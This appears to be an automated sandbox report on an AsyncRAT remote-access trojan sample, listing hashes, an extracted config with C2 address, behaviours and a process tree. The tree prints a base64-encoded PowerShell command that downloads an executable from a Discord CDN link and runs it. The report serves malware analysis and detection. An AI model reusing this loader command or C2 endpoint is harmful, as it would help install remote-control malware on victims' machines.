asyncrat | e03373744068eb32bc09755df8ff0f111f93a47d94a9cca7513adac83a92d081

General

Target

DFDS4.exe
Size

6KB
MD5

aacae33f1697d56d6ebbe91f49426380
SHA1

043d947a5ba9db57da8804ee1b3db6411c36a317
SHA256

e03373744068eb32bc09755df8ff0f111f93a47d94a9cca7513adac83a92d081
SHA512

a150a3f35b00e7553d5aabb6e524cd0770d10714cd255665f4355f9922b91d400d2d2c0c276b18dba2bd999da210a4538754da9f38b819d2a2b3c947a75f6c20
SSDEEP

192:3m1I9XX1FrDl2ND2tLNtUq256XvW4NRcWedV:KI9Xl32NKNt/jvW4NRcW2V

Score

10^/10

asyncrat system guard runtime rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

System Guard Runtime

C2

85.105.88.221:2531

Mutex

System Guard Runtime

Attributes

delay
3
install
false
install_file
System Guard Runtime
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/1556-148-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

40 2156 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

JDSG3.exe

pid process

4056 JDSG3.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

DFDS4.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation DFDS4.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

JDSG3.exe

description pid process target process

PID 4056 set thread context of 1556 4056 JDSG3.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2156 powershell.exe
2156 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeJDSG3.exe

description pid process

Token: SeDebugPrivilege 2156 powershell.exe
Token: SeDebugPrivilege 4056 JDSG3.exe

flow	pid	process
40	2156	powershell.exe

pid	process
4056	JDSG3.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	DFDS4.exe

description	pid	process	target process
PID 4056 set thread context of 1556	4056	JDSG3.exe	RegAsm.exe

pid	process
2156	powershell.exe
2156	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2156	powershell.exe
Token: SeDebugPrivilege	4056	JDSG3.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

DFDS4.exepowershell.exeJDSG3.exe

description	pid	process	target process
PID 1440 wrote to memory of 2156	1440	DFDS4.exe	powershell.exe
PID 1440 wrote to memory of 2156	1440	DFDS4.exe	powershell.exe
PID 2156 wrote to memory of 4056	2156	powershell.exe	JDSG3.exe
PID 2156 wrote to memory of 4056	2156	powershell.exe	JDSG3.exe
PID 2156 wrote to memory of 4056	2156	powershell.exe	JDSG3.exe
PID 4056 wrote to memory of 1556	4056	JDSG3.exe	RegAsm.exe
PID 4056 wrote to memory of 1556	4056	JDSG3.exe	RegAsm.exe
PID 4056 wrote to memory of 1556	4056	JDSG3.exe	RegAsm.exe
PID 4056 wrote to memory of 1556	4056	JDSG3.exe	RegAsm.exe
PID 4056 wrote to memory of 1556	4056	JDSG3.exe	RegAsm.exe
PID 4056 wrote to memory of 1556	4056	JDSG3.exe	RegAsm.exe
PID 4056 wrote to memory of 1556	4056	JDSG3.exe	RegAsm.exe
PID 4056 wrote to memory of 1556	4056	JDSG3.exe	RegAsm.exe

C:\Users\Admin\AppData\Local\Temp\DFDS4.exe
"C:\Users\Admin\AppData\Local\Temp\DFDS4.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1440

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZABrACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANAA5ADQAMQAwADIAMQA3ADQAMgAwADUAMwAzADgAMgAwAC8AMQAwADQAOQA0ADEANwA1ADAAMQAyADIAMwA2ADkAMAAzADQAMQAvAHAAbABsAG0AbQBkAGkAaQBwAG0ALgBlAHgAZQAnACwAIAA8ACMAeABjAGIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwByAGoAawAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBsAGYAegAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBKAEQAUwBHADMALgBlAHgAZQAnACkAKQA8ACMAZwByAHkAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZgB1AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHcAcABiACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEoARABTAEcAMwAuAGUAeABlACcAKQA8ACMAdwBrAGsAIwA+AA=="
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2156

C:\Users\Admin\AppData\Roaming\JDSG3.exe
"C:\Users\Admin\AppData\Roaming\JDSG3.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4056

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
PID:1556

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\JDSG3.exe
Filesize
14.7MB

MD5
2cbd5d9d43c5c49f0580975e9e620808

SHA1
17e209b6d6c66882ed78a40d7e0d211760b489a0

SHA256
399a0e77326dc484fa92fd5f95f2dbd89866dfd4e7e80661634a9a83f0652403

SHA512
26e06d3d3b4f8d1198f483e2485ee107782c7f5b70ddb4d48dd84c9ef81029af316ad3a184c90921c6f1188f92d88b9fd6a152eaba5648a03bfbdea589202812

Download Submit
C:\Users\Admin\AppData\Roaming\JDSG3.exe
Filesize
14.7MB

MD5
2cbd5d9d43c5c49f0580975e9e620808

SHA1
17e209b6d6c66882ed78a40d7e0d211760b489a0

SHA256
399a0e77326dc484fa92fd5f95f2dbd89866dfd4e7e80661634a9a83f0652403

SHA512
26e06d3d3b4f8d1198f483e2485ee107782c7f5b70ddb4d48dd84c9ef81029af316ad3a184c90921c6f1188f92d88b9fd6a152eaba5648a03bfbdea589202812

Download Submit
memory/1440-134-0x00007FFD9DA60000-0x00007FFD9E521000-memory.dmp

Filesize
10.8MB

Download
memory/1440-132-0x0000000000070000-0x0000000000078000-memory.dmp

Filesize
32KB

Download
memory/1440-137-0x00007FFD9DA60000-0x00007FFD9E521000-memory.dmp

Filesize
10.8MB

Download
memory/1556-148-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1556-147-0x0000000000000000-mapping.dmp

Download
memory/2156-136-0x00007FFD9DA60000-0x00007FFD9E521000-memory.dmp

Filesize
10.8MB

Download
memory/2156-141-0x00007FFD9DA60000-0x00007FFD9E521000-memory.dmp

Filesize
10.8MB

Download
memory/2156-138-0x00007FFD9DA60000-0x00007FFD9E521000-memory.dmp

Filesize
10.8MB

Download
memory/2156-135-0x0000011EEA750000-0x0000011EEA772000-memory.dmp

Filesize
136KB

Download
memory/2156-133-0x0000000000000000-mapping.dmp

Download
memory/4056-139-0x0000000000000000-mapping.dmp

Download
memory/4056-143-0x00000000005D0000-0x0000000001480000-memory.dmp

Filesize
14.7MB

Download
memory/4056-144-0x00000000067D0000-0x0000000006D74000-memory.dmp

Filesize
5.6MB

Download
memory/4056-145-0x00000000062D0000-0x0000000006362000-memory.dmp

Filesize
584KB

Download
memory/4056-146-0x0000000006420000-0x00000000064BC000-memory.dmp

Filesize
624KB

Download

Analysis

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